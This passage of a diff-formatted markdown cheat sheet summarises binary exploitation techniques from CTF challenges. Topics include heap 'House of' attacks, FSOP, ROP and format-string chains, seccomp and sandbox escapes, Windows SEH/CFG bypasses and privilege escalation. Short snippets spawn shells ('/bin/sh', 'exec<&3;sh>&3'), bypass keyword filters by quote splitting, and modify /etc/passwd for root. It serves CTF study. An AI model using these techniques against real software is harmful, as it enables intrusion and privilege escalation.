+ - **House of Force:** Corrupt top chunk size to `0xffffffffffffffff`, next `malloc(target - top - 2*SIZE_SZ)` returns arbitrary address. Pre-2.29 glibc only. See [heap-techniques.md](heap-techniques.md#house-of-force-csaw-ctf-2016).
67
+ - **House of Einherjar**: Off-by-one null clears PREV_INUSE, backward consolidation with self-pointing unlink.
68
+ - **Safe-linking** (glibc 2.32+): tcache fd mangled as `ptr ^ (chunk_addr >> 12)`.
69
+ - Check glibc version: `strings libc.so.6 | grep GLIBC`
70
+ - Freed chunks contain libc pointers (fd/bk) -> leak via error messages or missing null-termination
71
+ - Heap feng shui: control alloc order/sizes, create holes, place targets adjacent to overflow source
72
+ - **Unsafe unlink + top chunk consolidation**: After unlink writes self-pointer to BSS, craft fake BSS chunk spanning to top chunk. `free()` consolidates, relocating heap base to BSS. Subsequent mallocs return BSS memory. See [heap-techniques.md](heap-techniques.md#unsafe-unlink-to-bss--top-chunk-consolidation-seccon-2016).
73
+
74
+ **House of Orange:** Corrupt top chunk size → large malloc forces sysmalloc → old top freed without calling `free()`. Chain with FSOP. See [heap-techniques.md](heap-techniques.md#house-of-orange).
75
+
76
+ **House of Spirit:** Forge fake chunk in target area, `free()` it, reallocate to get write access. Requires valid size + next chunk size. See [heap-techniques.md](heap-techniques.md#house-of-spirit).
77
+
78
+ **House of Lore:** Corrupt smallbin `bk` → link fake chunk → second malloc returns attacker-controlled address. See [heap-techniques.md](heap-techniques.md#house-of-lore).
79
+
80
+ **ret2dlresolve:** Forge Elf64_Sym/Rela to resolve arbitrary libc function without leak. `Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])`. Requires Partial RELRO. See [advanced.md](advanced.md#ret2dlresolve).
81
+
82
+ **tcache stashing unlink (glibc 2.29+):** Corrupt smallbin chunk's `bk` during tcache stashing → arbitrary address linked into tcache → write primitive. See [heap-techniques.md](heap-techniques.md#tcache-stashing-unlink-attack).
83
+
84
+ **UAF vtable pointer encoding shell argument:** After UAF, heap spray places `system()` at offset +3. Object address containing `0x6873` ("sh") in low bytes doubles as the command string argument when `system(this)` is called through the hijacked vtable. See [heap-techniques-2.md](heap-techniques-2.md#uaf-vtable-pointer-encoding-shell-argument-bctf-2017).
85
+
86
+ **Fastbin stdout vtable two-stage hijack (PIE + Full RELRO):** Use 0x7f byte in libc's stdout region as fake fastbin chunk size. Two-stage: first vtable redirect to `gets()` (rdi=stdout), then `gets()` overwrites vtable again to `system()` with command string. See [heap-techniques.md](heap-fsop.md#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017).
87
+
88
+ See [heap-techniques.md](heap-techniques.md) for House of Apple 2 FSOP chain (+ setcontext SUID variant), House of Orange/Spirit/Lore/Force, tcache stashing unlink, custom allocator exploitation (nginx pools, talloc), classic unlink, musl libc heap. See [advanced.md](advanced.md) for ret2dlresolve, heap overlap via base conversion, tree data structure stack underallocation.
89
+
90
+ **GF(2) Gaussian elimination for tcache poisoning:** When a deterministic XOR cipher corrupts heap metadata as a side effect, model the corruption as linear algebra over GF(2). Find a subset of cipher seeds whose combined XOR transforms tcache `fd` from current value to target address. See [advanced-exploits-4.md](advanced-exploits-4.md#gf2-gaussian-elimination-for-multi-pass-tcache-poisoning-midnight-flag-2026).
91
+
92
+ ## Additional Exploit Notes
93
+
94
+ ### talloc Pool Header Forgery
95
+ **Pattern:** talloc (hierarchical allocator in Samba/CUPS) pool header forgery. Forge fake pool header with controlled `end`/`object_count` fields to redirect next `talloc()` to arbitrary address. Leak GOT for libc, write `__free_hook` with `system()`. See [heap-techniques.md](heap-techniques.md#talloc-pool-header-forgery-for-arbitrary-readwrite-boston-key-party-2016).
96
+
97
+ ### JIT Compilation Exploits
98
+ **Pattern:** Off-by-one in instruction encoding -> misaligned machine code. Embed shellcode as operand bytes of subtraction operations, chain with 2-byte `jmp` instructions. See [advanced.md](advanced.md).
99
+
100
+ **BF JIT unbalanced bracket:** Unbalanced `]` pops tape address (RWX) from stack → write shellcode to tape with `+`/`-`, trigger `]` to jump to it. See [advanced.md](advanced.md).
101
+
102
+ ### Type Confusion in Interpreters
103
+ **Pattern:** Interpreter sets wrong type tag → struct fields reinterpreted. Unused padding bytes in one variant become active pointers/data in another. Flag bytes as type value trigger UNKNOWN_DATA dump. See [advanced.md](advanced.md).
104
+
105
+ ### Off-by-One Index / Size Corruption
106
+ **Pattern:** Array index 0 maps to `entries[-1]`, overlapping struct metadata (size field). Corrupted size → OOB read leaks canary/libc, then OOB write places ROP chain. See [advanced.md](advanced.md).
107
+
108
+ ### Double win() Call
109
+ **Pattern:** `win()` checks `if (attempts++ > 0)` — needs two calls. Stack two return addresses: `p64(win) + p64(win)`. See [advanced.md](advanced.md).
110
+
111
+ ### Arbitrary Read/Write to Shell via GOT Overwrite
112
+ **Pattern:** Binary provides explicit read/write primitives. Leak libc via GOT read, overwrite `strtoll@GOT` with `system`, next call becomes `system(user_input)`. Choose GOT targets where the function takes a user-controlled string as first arg. See [advanced-exploits-3.md](advanced-exploits-3.md#arbitrary-readwrite-to-shell-via-got-overwrite-bsidessf-2026).
113
+
114
+ ### Stack Leak via __environ and memcpy Overflow
115
+ **Pattern:** Binary with read-only primitive and `memcpy(stack_buf, user_addr, user_len)`. Leak libc via GOT, leak stack via `__environ`, plant ROP addresses in input buffer, overflow memcpy to copy them over return address, send EOF to trigger return. See [advanced-exploits-3.md](advanced-exploits-3.md#stack-leak-via-__environ-and-memcpy-overflow-bsidessf-2026).
116
+
117
+ ### JIT Sandbox Escape via uint16 Jump Truncation
118
+ **Pattern:** JIT compiler truncates conditional jump offset to uint16, causing misalignment when code exceeds 64KB. Embed 2-byte shellcode fragments in `add` immediates, thread with `jmp $+3` to chain execution. See [advanced-exploits-3.md](advanced-exploits-3.md#jit-sandbox-escape-via-conditional-jump-uint16-truncation-bsidessf-2026).
119
+
120
+ ### DNS Compression Pointer Stack Overflow
121
+ **Pattern:** Custom DNS server doesn't track decompressed name length. Compression pointer chains revisit data, overflowing stack buffer. Split ROP chain across multiple DNS question entries. See [advanced-exploits-3.md](advanced-exploits-3.md#dns-compression-pointer-stack-overflow-with-multi-question-rop-bsidessf-2026).
122
+
123
+ ### ELF Code Signing Bypass via Program Headers
124
+ **Pattern:** Signing scheme hashes section headers/content but not program headers. Append shellcode, modify LOAD segment's `p_offset` to point to appended data — signature still valid, loader executes attacker code. See [advanced-exploits-3.md](advanced-exploits-3.md#elf-code-signing-bypass-via-program-header-manipulation-bsidessf-2026).
125
+
126
+ ### Game Level Format Signed/Unsigned Coordinate Mismatch
127
+ **Pattern:** Level editor parses signed integer coordinates but bounds-checks via unsigned comparison — negative coordinates pass the check and write block IDs (arbitrary bytes) before the level array, enabling stack return address overwrite. Leak stack address via hidden developer mode, encode shellcode as block IDs. See [advanced-exploits-3.md](advanced-exploits-3.md#game-level-format-signedunsigned-coordinate-mismatch-bsidessf-2026).
128
+
129
+ ### File Descriptor Inheritance via Missing O_CLOEXEC
130
+ **Pattern:** Service reads secret into `memfd_create()` FD without `MFD_CLOEXEC`, then calls `system()` for user commands — child inherits the FD. Bypass `strstr()` keyword filters with shell quote splitting (`p'r'oc` instead of `proc`) to read `/proc/self/fd/N`. See [advanced-exploits-3.md](advanced-exploits-3.md#file-descriptor-inheritance-via-missing-o_cloexec-bsidessf-2026).
131
+
132
+ ### Sign Extension Integer Underflow in Metadata Parsing
133
+ **Pattern:** Metadata parser's `to_int32` converts unsigned values >= 0x80000000 to negative signed integers. Used as array index/offset, this causes OOB memory access. Iterate byte-by-byte to leak flag from memory. See [advanced-exploits-3.md](advanced-exploits-3.md#sign-extension-integer-underflow-in-metadata-parsing-bsidessf-2026).
134
+
135
+ ### ROP Chain Construction with Read-Only Primitive
136
+ **Pattern:** Binary with only `read()` primitive — no write, no win function. Leak libc via GOT, then "import" arbitrary byte values onto the stack by reading from libc offsets whose content matches desired ROP gadget addresses. Read primitive doubles as write primitive. See [advanced-exploits-3.md](advanced-exploits-3.md#rop-chain-construction-with-read-only-primitive-bsidessf-2026).
137
+
138
+ ### Esoteric Language GOT Overwrite
139
+ **Pattern:** Brainfuck/Pikalang interpreter with unbounded tape = arbitrary read/write relative to buffer base. Move pointer to GOT, overwrite byte-by-byte with `system()`. See [advanced.md](advanced.md).
140
+
141
+ ### Protocol Stack Bleeding
142
+ Custom network protocols echoing data based on length field leak stack memory when length exceeds actual data (Heartbleed-style). See [overflow-basics.md](overflow-basics.md#protocol-length-field-stack-bleeding-ekoparty-ctf-2016).
143
+
144
+ ### Timing Attack Flag Recovery
145
+ Validation time varies per correct character; measure elapsed time per candidate byte to recover flag character-by-character. See [advanced-exploits.md](advanced-exploits.md#timing-attack-for-character-by-character-flag-recovery-rc3-ctf-2016).
146
+
147
+ ### DNS Record Buffer Overflow
148
+ **Pattern:** Many AAAA records overflow stack buffer in DNS response parser. Set up DNS server with excessive records, overwrite return address. See [advanced.md](advanced.md).
149
+
150
+ ### ASAN Shadow Memory Exploitation
151
+ **Pattern:** Binary with AddressSanitizer has format string + OOB write. ASAN may use "fake stack" (50% chance). Leak PIE, detect real vs fake stack, calculate OOB write offset to overwrite return address. See [advanced.md](advanced.md).
152
+
153
+ ### Format String .fini_array Loop for Multi-Stage Exploitation
154
+ **Pattern:** No GOT function called after `printf()`. Overwrite `.fini_array[0]` with `main()` for re-execution loop. Stage 1: leak libc/stack. Stage 2: `printf@GOT` to `system()`, `__stack_chk_fail@GOT` to `main()`. Stage 3: corrupt canary to trigger `__stack_chk_fail` re-entry, now `printf(input)` is `system(input)`. See [format-string.md](format-string.md#format-string-fini_array-loop-for-multi-stage-exploitation-codegate-2016).
155
+
156
+ ### Format String with RWX .fini_array Hijack
157
+ **Pattern (Encodinator):** Base85-encoded input in RWX memory passed to `printf()`. Write shellcode to RWX region, overwrite `.fini_array[0]` via format string `%hn` writes. Use convergence loop for base85 argument numbering. See [advanced.md](advanced.md).
158
+
159
+ ### Custom Canary Preservation
160
+ **Pattern:** Buffer overflow must preserve known canary value. Write exact canary bytes at correct offset: `b'A' * 64 + b'BIRD' + b'X'`. See [advanced.md](advanced.md).
161
+
162
+ ### MD5 Preimage Gadget Construction
163
+ **Pattern (Hashchain):** Brute-force MD5 preimages with `eb 0c` prefix (jmp +12) to skip middle bytes; bytes 14-15 become 2-byte i386 instructions. Build syscall chains from gadgets like `31c0` (xor eax), `cd80` (int 0x80). See [advanced.md](advanced.md) for C code and v2 technique.
164
+
165
+ ### Python Sandbox Escape
166
+ AST bypass via f-strings, audit hook bypass with `b'flag.txt'` (bytes vs str), MRO-based `__builtins__` recovery. See [sandbox-escape.md](sandbox-escape.md).
167
+
168
+ ### VM GC-Triggered UAF (Slab Reuse)
169
+ **Pattern:** Custom VM with NEWBUF/SLICE/GC opcodes. Slicing creates shared slab reference; dropping+GC'ing slice frees slab while parent still holds it. Allocate function object to reuse slab, leak code pointer via UAF read, overwrite with win() address. See [advanced.md](advanced.md).
170
+
171
+ ### GC Null-Reference Cascading Corruption
172
+ **Pattern:** Mark-compact GC follows null references to heap address 0, creating fake object. During compaction, memmove cascades corruption through adjacent object headers → OOB access → libc leak → FSOP. See [advanced.md](advanced.md).
173
+
174
+ ### OOB Read via Stride/Rate Leak
175
+ **Pattern:** String processing function with user-controlled stride skips past null terminator, leaking stack canary and return address one byte at a time. Then overflow with leaked values. See [overflow-basics.md](overflow-basics.md).
176
+
177
+ ### SROP with UTF-8 Constraints
178
+ **Pattern:** When payload must be valid UTF-8 (Rust binaries, JSON parsers), use SROP — only 3 gadgets needed. Multi-byte UTF-8 sequences spanning register field boundaries "fix" high bytes. See [rop-advanced.md](rop-advanced.md).
179
+
180
+ ### VM Exploitation (Custom Bytecode)
181
+ **Pattern:** Custom VM with OOB read/write in syscalls. Leak PIE via XOR-encoded function pointer, overflow to rewrite pointer with `win() ^ KEY`. See [sandbox-escape.md](sandbox-escape.md).
182
+
183
+ ### FUSE/CUSE Character Device Exploitation
184
+ Look for `cuse_lowlevel_main()` / `fuse_main()`, backdoor write handlers with command parsing. Exploit to `chmod /etc/passwd` then modify for root access. See [sandbox-escape.md](sandbox-escape.md).
185
+
186
+ ### Busybox/Restricted Shell Escalation
187
+ Find writable paths via character devices, target `/etc/passwd` or `/etc/sudoers`, modify permissions then content. See [sandbox-escape.md](sandbox-escape.md).
188
+
189
+ ### process_vm_readv Sandbox Bypass
190
+ **Pattern:** Sandbox validates file paths via `process_vm_readv()` + `realpath()`. Map memory with `PROT_READ` only at fixed address via `mmap(MAP_FIXED)` -- sandbox's `process_vm_readv` fails silently, bypassing path validation entirely. See [sandbox-escape.md](sandbox-escape.md#process_vm_readv-failure-as-sandbox-escape-0ctf-2016).
191
+
192
+ ### Named Pipe (mkfifo) File Size Bypass
193
+ **Pattern:** Binary checks `stat()` file size before reading. Named pipes report `st_size = 0` but deliver arbitrary data via `read()`. `mkfifo /tmp/pipe && cat payload > /tmp/pipe &` then pass pipe to binary. Combine with `ln -s /flag arena.c` for string reuse in ROP. See [sandbox-escape.md](sandbox-escape.md#named-pipe-mkfifo-for-file-size-check-bypass-nuit-du-hack-2016).
194
+
195
+ ### Shell Tricks
196
+ `exec<&3;sh>&3` for fd redirection, `$0` instead of `sh`, `ls -la /proc/self/fd` to find correct fd. See [sandbox-escape.md](sandbox-escape.md).
197
+
198
+ ### Double Stack Pivot to BSS via leave;ret
199
+ **Pattern:** Small overflow (only RBP + RIP). Overwrite RBP → BSS address, RIP → `leave; ret` gadget. `leave` sets RSP = RBP (BSS). Second stage at BSS calls `fgets(BSS+offset, large_size, stdin)` to load full ROP chain. See [rop-advanced.md](rop-advanced.md#double-stack-pivot-to-bss-via-leaveret-midnightflag-2026).
200
+
201
+ ### RETF Architecture Switch for Seccomp Bypass
202
+ **Pattern:** Seccomp blocks 64-bit syscalls (`open`, `execve`). Use `retf` gadget to load CS=0x23 (IA-32e compatibility mode). In 32-bit mode, `int 0x80` uses different syscall numbers (open=5, read=3, write=4) not covered by the filter. Requires `mprotect` to make BSS executable for 32-bit shellcode. See [rop-advanced.md](rop-advanced.md#retf-architecture-switch-for-seccomp-bypass-midnightflag-2026).
203
+
204
+ ### Leakless Libc via Multi-fgets stdout FILE Overwrite
205
+ **Pattern:** No libc leak available. Chain multiple `fgets(addr, 7, stdin)` calls via ROP to construct fake stdout FILE struct on BSS. Set `_IO_write_base` to GOT entry, call `fflush(stdout)` → leaks GOT content → libc base. The 7-byte writes avoid null byte corruption since libc pointer MSBs are already `\x00`. See [advanced-exploits-2.md](advanced-exploits-2.md#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026).
206
+
207
+ ### Signed/Unsigned Char Underflow to Heap Overflow
208
+ **Pattern:** Size field stored as `signed char`, cast to `unsigned char` for use. `size = -112` → `(unsigned char)(-112) = 144`, overflowing a 127-byte buffer by 17 bytes. Combine with XOR keystream brute-force for byte-precise writes, forge chunk sizes for unsorted bin promotion (libc leak), FSOP stdout for TLS leak, and TLS destructor (`__call_tls_dtors`) overwrite for RCE. See [advanced-exploits-2.md](advanced-exploits-2.md#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026).
209
+
210
+ ### TLS Destructor Hijack via `__call_tls_dtors`
211
+ **Pattern:** Alternative to House of Apple 2 on glibc 2.34+. Forge `__tls_dtor_list` entries with pointer-guard-mangled function pointers: `encoded = rol(target ^ pointer_guard, 0x11)`. Requires leaking pointer guard from TLS segment (via FSOP stdout redirection). Each node calls `PTR_DEMANGLE(func)(obj)` on exit. See [advanced-exploits-2.md](advanced-exploits-2.md#tls-destructor-overwrite-for-rce-via-__call_tls_dtors).
212
+
213
+ ### Signed Int Overflow to Negative OOB Heap Write
214
+ **Pattern (Canvas of Fear):** Index formula `y * width + x` in signed 32-bit int overflows to negative value, passing bounds check and writing backward into heap metadata. Use to corrupt adjacent chunk sizes/pointers, leak libc via unsorted bin, redirect a data pointer to `environ` for stack leak, then write ROP chain to main's return address. When binary is behind a web API, chain XSS → Fetch API → heap exploit, and inject `\n` in API parameters for command stacking via `sendline()`. See [advanced-exploits-2.md](advanced-exploits-2.md#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026) for full exploit chain, XSS bridge pattern, and RGB pixel write primitive.
215
+
216
+ ### Custom Shadow Stack Bypass via Pointer Overflow
217
+ **Pattern (Revenant):** Userland shadow stack in `.bss` with unbounded pointer. Recurse to advance `shadow_stack_ptr` past the array into user-controlled memory (e.g., `username` buffer), write `win()` there, then overflow the hardware stack return address to match. Both checks pass. See [advanced-exploits-2.md](advanced-exploits-2.md#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026) for full exploit and `.bss` layout analysis.
218
+
219
+ ### Windows SEH Overwrite + VirtualAlloc ROP
220
+ Format string leak defeats ASLR. SEH (Structured Exception Handler) overwrite with stack pivot to ROP chain. `pushad` builds VirtualAlloc call frame for DEP (Data Execution Prevention) bypass. Detached process launcher for shell stability on thread-based servers. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-seh-overwrite--pushad-virtualalloc-rop-rainbowtwo-htb).
221
+
222
+ ### SeDebugPrivilege to SYSTEM
223
+ `SeDebugPrivilege` + Meterpreter `migrate -N winlogon.exe` -> SYSTEM. See [advanced-exploits-4.md](advanced-exploits-4.md#sedebugprivilege-to-system-rainbowtwo-htb).
224
+
225
+ ### mmap/munmap Size Mismatch UAF
226
+ Over-unmap via mmap(small)/munmap(large) destroys adjacent mappings. Thread stack fills gap, old buffer pointer becomes write-into-stack. Race-free UAF variant. See [advanced-exploits-4.md](advanced-exploits-4.md#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017).
227
+
228
+ ### strcspn Indirect Null Byte Injection
229
+ `strcspn(buf, "\r\n")` + null write truncates strings at injected newlines. Bypasses CGI null-byte filtering for path traversal. See [advanced-exploits-4.md](advanced-exploits-4.md#strcspn-as-indirect-null-byte-injection-bsidessf-2017).
230
+
231
+ ### Windows CFG Bypass Using system() as Valid Call Target
232
+ **Pattern:** Windows CFG validates indirect call targets but `system()` from msvcrt passes validation since it is a legitimate API entry point. Overwrite function pointer with `system()`, use comma instead of space in arguments to bypass input filters. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-cfg-bypass-using-system-as-valid-call-target-insomnihack-2017).
233
+
234
+ ### 4-Byte Shellcode with Timing Side-Channel
235
+ **Pattern:** Binary executes only 4 bytes of user shellcode in a 4096-iteration loop. Callee-saved registers (r12-r15) persist across iterations, enabling incremental state building. The 4096x loop amplifies timing differences for reliable side-channel measurement. See [advanced-exploits-3.md](advanced-exploits-3.md#4-byte-shellcode-with-timing-side-channel-via-persistent-registers-google-ctf-2017).
236
+
237
+ ### CRC Oracle as Arbitrary Read Primitive
238
+ **Pattern:** CRC is bijective on single bytes. Overflow a pointer to control the CRC input address, precompute all 256 single-byte CRCs, and reverse-lookup each byte of arbitrary memory. Chain reads to leak GOT, libc, stack, and canary. See [advanced-exploits-3.md](advanced-exploits-3.md#crc-oracle-as-arbitrary-read-primitive-asis-ctf-2017).
239
+
240
+ ### UTF-8 Case Conversion Buffer Overflow
241
+ **Pattern:** Unicode case conversion can expand character byte length (e.g., 2-byte UTF-8 becomes 4 bytes when uppercased). If buffer is sized for input length, the longer output overflows. Affects GLib `g_utf8_strup()`, ICU, and similar functions. See [advanced-exploits-3.md](advanced-exploits-3.md#utf-8-case-conversion-buffer-overflow-hitb-ctf-2017).
242
+
243
+ ## Useful Commands
244
+
245
+ `checksec`, `one_gadget`, `ropper`, `ROPgadget`, `seccomp-tools dump`, `strings libc | grep GLIBC`. See [rop-advanced.md](rop-advanced.md) for full command list and pwntools template.